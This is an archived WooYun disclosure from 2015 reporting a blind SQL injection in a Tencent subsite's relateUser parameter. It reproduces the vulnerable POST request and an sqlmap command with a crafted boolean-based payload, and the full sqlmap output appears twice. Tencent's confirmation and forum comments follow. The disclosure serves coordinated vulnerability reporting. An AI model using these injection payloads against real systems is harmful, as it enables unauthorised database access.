腾讯某分站SQL注射

发表于 2015年07月01日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0123831

漏洞标题：腾讯某分站SQL注射

漏洞详情

披露状态：

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认，细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述：

腾讯某分站SQL注射，盲注。

详细说明：

POST /user/delcontent? HTTP/1.1Host: gad.qq.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: cookieConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 48id=8&relateUser=243&showType=1relateUser 参数存在SQL注入。

漏洞证明：

python sqlmap.py -u "http://localhost/1.php?s=24397" -p s --prefix "24397 and 1=(case when(1=1" --suffix ") then 1 e<br>
lse (select 1 union select 2) end)" --technique=B --dbms=mysql<br>
         _<br>
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150403}<br>
|_ -| . | |     | .'| . |<br>
|___|_  |_|_|_|_|__,|  _|<br>
      |_|           |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual<br>
 consent is illegal. It is the end user's responsibility to obey all applicable<br>
local, state and federal laws. Developers assume no liability and are not respon<br>
sible for any misuse or damage caused by this program[*] starting at 23:52:31[23:52:31] [INFO] testing connection to the target URL<br>
[23:52:31] [INFO] testing if the target URL is stable. This can take a couple of<br>
 seconds<br>
[23:52:32] [INFO] target URL is stable<br>
[23:53:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is<br>
 going to retry the request<br>
[23:53:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is<br>
 going to retry the request<br>
[23:53:47] [WARNING] heuristic (basic) test shows that GET parameter 's' might n<br>
ot be injectable<br>
[23:53:52] [INFO] testing for SQL injection on GET parameter 's'<br>
do you want to include all tests for 'MySQL' extending provided level (1) and ri<br>
sk (1)? [Y/n] n<br>
[23:53:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'<br>
[23:54:15] [INFO] GET parameter 's' seems to be 'AND boolean-based blind - WHERE<br>
 or HAVING clause' injectable<br>
[23:54:15] [INFO] checking if the injection point on GET parameter 's' is a fals<br>
e positive<br>
[23:54:35] [WARNING] it appears that the character '>' is filtered by the back-e<br>
nd server. You are strongly advised to rerun with the '--tamper=between'<br>
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)<br>
? [y/N] n<br>
sqlmap identified the following injection points with a total of 10 HTTP(s) requ<br>
ests:<br>
---<br>
Parameter: s (GET)<br>
    Type: boolean-based blind<br>
    Title: AND boolean-based blind - WHERE or HAVING clause<br>
    Payload: s=24397 and 1=(case when(1=1 AND 8352=8352) then 1 else (select 1 u<br>
nion select 2) end)<br>
---<br>
[23:54:38] [INFO] testing MySQL<br>
[23:54:44] [INFO] confirming MySQL<br>
[23:55:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is<br>
 going to retry the request<br>
[23:56:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is<br>
 going to retry the request<br>
[23:56:05] [INFO] the back-end DBMS is MySQL<br>
web server operating system: Windows<br>
web application technology: Apache 2.0.63, PHP 5.2.14<br>
back-end DBMS: MySQL >= 5.0.2

python sqlmap.py -u "http://localhost/1.php?s=24397" -p s --prefix "24397 and 1=(case when(1=1" --suffix ") then 1 e

lse (select 1 union select 2) end)" --technique=B --dbms=mysql

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20150403}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program[*] starting at 23:52:31[23:52:31] [INFO] testing connection to the target URL

[23:52:31] [INFO] testing if the target URL is stable. This can take a couple of

seconds

[23:52:32] [INFO] target URL is stable

[23:53:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is

going to retry the request

[23:53:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is

going to retry the request

[23:53:47] [WARNING] heuristic (basic) test shows that GET parameter 's' might n

ot be injectable

[23:53:52] [INFO] testing for SQL injection on GET parameter 's'

do you want to include all tests for 'MySQL' extending provided level (1) and ri

sk (1)? [Y/n] n

[23:53:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[23:54:15] [INFO] GET parameter 's' seems to be 'AND boolean-based blind - WHERE

or HAVING clause' injectable

[23:54:15] [INFO] checking if the injection point on GET parameter 's' is a fals

e positive

[23:54:35] [WARNING] it appears that the character '>' is filtered by the back-e

nd server. You are strongly advised to rerun with the '--tamper=between'

GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)

? [y/N] n

sqlmap identified the following injection points with a total of 10 HTTP(s) requ

ests:

---

Parameter: s (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: s=24397 and 1=(case when(1=1 AND 8352=8352) then 1 else (select 1 u

nion select 2) end)

---

[23:54:38] [INFO] testing MySQL

[23:54:44] [INFO] confirming MySQL

[23:55:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is

going to retry the request

[23:56:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is

going to retry the request

[23:56:05] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.0.63, PHP 5.2.14

back-end DBMS: MySQL >= 5.0.2

修复方案：

过滤

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-0114:53

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

评价

2010-01-01 00:00 hh2014 白帽子 | Rank:41 漏洞数:4)
额，一哥又来刷了 http://www.wooyun.org/bugs/wooyun-2015-0123526/trace/304eb21b5a77f36aee296c86ea2dc197 求审核 @疯狗
2010-01-01 00:00 http://www.wooyun.org/corps/盛大网络白帽子 | Rank:0 漏洞数:0)
怎么感觉腾讯的sql注入比我们的还多
2010-01-01 00:00 term 白帽子 | Rank:14 漏洞数:2)
@盛大网络明明就是你的最多
2010-01-01 00:00 90Snake 白帽子 | Rank:111 漏洞数:10)
@盛大网络此时一哥正看着你这句话，缓缓一笑
2010-01-01 00:00 qhwlpg 白帽子 | Rank:141 漏洞数:13)
@盛大网络明天一哥就上了你
2010-01-01 00:00 小人物Reno 白帽子 | Rank:103 漏洞数:9)
@盛大网络坐等被爆菊
2010-01-01 00:00 老曹哥哥白帽子 | Rank:5 漏洞数:1)
@盛大网络厂商也欢乐
2010-01-01 00:00 itleaf 白帽子 | Rank:122 漏洞数:15)
@盛大网络可能是没挑战，或者基本不用盛大产品
2010-01-01 00:00 魂淡、白帽子 | Rank:16 漏洞数:1)
@盛大网络然而事实是盛大不在一哥的监控列表内
2010-01-01 00:00 dami 白帽子 | Rank:0 漏洞数:0)
厂商在求爆吗？